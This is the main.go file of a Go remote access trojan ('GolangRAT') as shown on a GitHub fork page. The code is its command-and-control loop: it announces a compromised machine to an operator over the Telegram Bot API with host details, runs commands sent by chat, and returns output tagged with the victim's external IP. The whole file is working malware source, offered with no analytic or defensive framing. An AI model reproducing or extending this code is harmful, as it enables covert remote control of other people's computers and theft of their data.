forked from newjacks/GolangRAT
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.go
62 lines (51 loc) · 1.45 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package main
import (
"log"
"gopkg.in/telegram-bot-api.v4"
"math/rand"
"time"
)
func sendMsg(bot *tgbotapi.BotAPI, chat_id int64, text string){
//log.Println("bot:",bot.Token)
msg := tgbotapi.NewMessage(chat_id, text)
//msg.ReplyToMessageID = chat_id
bot.Send(msg)
}
func parse(message string, bot *tgbotapi.BotAPI, update tgbotapi.Update) {
messageParts := make([]string, 1)
if len(message) > 4096{
messageParts = splitMessage(clearMSG(message))
}else{
messageParts[0] = clearMSG(message)
}
//log.Println("MSGPARTS:",len(messageParts),"###################################################################")
for i:=0; i<len(messageParts); i+=1 {
//log.Println("\n\n\nI:",len(messageParts[i]),"\n\n\n")//
ipInfo := new(IpConfig)
ipInfo, _ = GetExternalIP()
sendMsg(bot, update.Message.Chat.ID, "PC("+ipInfo.Ip+"):"+messageParts[i])
}
}
func main() {
initRat()
bot, err := tgbotapi.NewBotAPI(BOT_TOKEN)
if err != nil {
log.Panic(err)
}
bot.Debug = false
log.Printf("Authorized on account %s", bot.Self.UserName)
sendMsg(bot, ADMIN_ID, "CLIENT UP: \n"+getInfo())
u := tgbotapi.NewUpdate(0)
u.Timeout = 60
updates, err := bot.GetUpdatesChan(u)
for update := range updates {
if update.Message == nil {
continue
}
log.Printf("[%s] %s", update.Message.From.UserName, update.Message.Text)
message := parseCmd(update.Message, bot)
go parse(message, bot, update)
r := 500+rand.Intn(5000)
time.Sleep(time.Duration(r))
}
}